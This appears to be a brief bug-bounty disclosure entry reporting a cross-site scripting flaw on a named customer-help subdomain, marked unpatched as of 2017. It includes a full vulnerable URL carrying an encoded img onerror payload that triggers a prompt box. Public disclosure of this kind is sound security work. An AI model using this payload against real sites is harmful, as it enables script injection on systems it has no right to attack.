wdc-es.custhelp.com XSS vulnerability

Vulnerable URL: http://wdc-es.custhelp.com/app/error/errorid/404/url/%2522%253E%253Cimg%2520src%253D1%2520onerror%253Dprompt%2528'openbugbounty'%2529%253E/session/L3RpbWUvMTQ3MDkxODc1NS9zaWQvZGpQcE5PWG0= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017...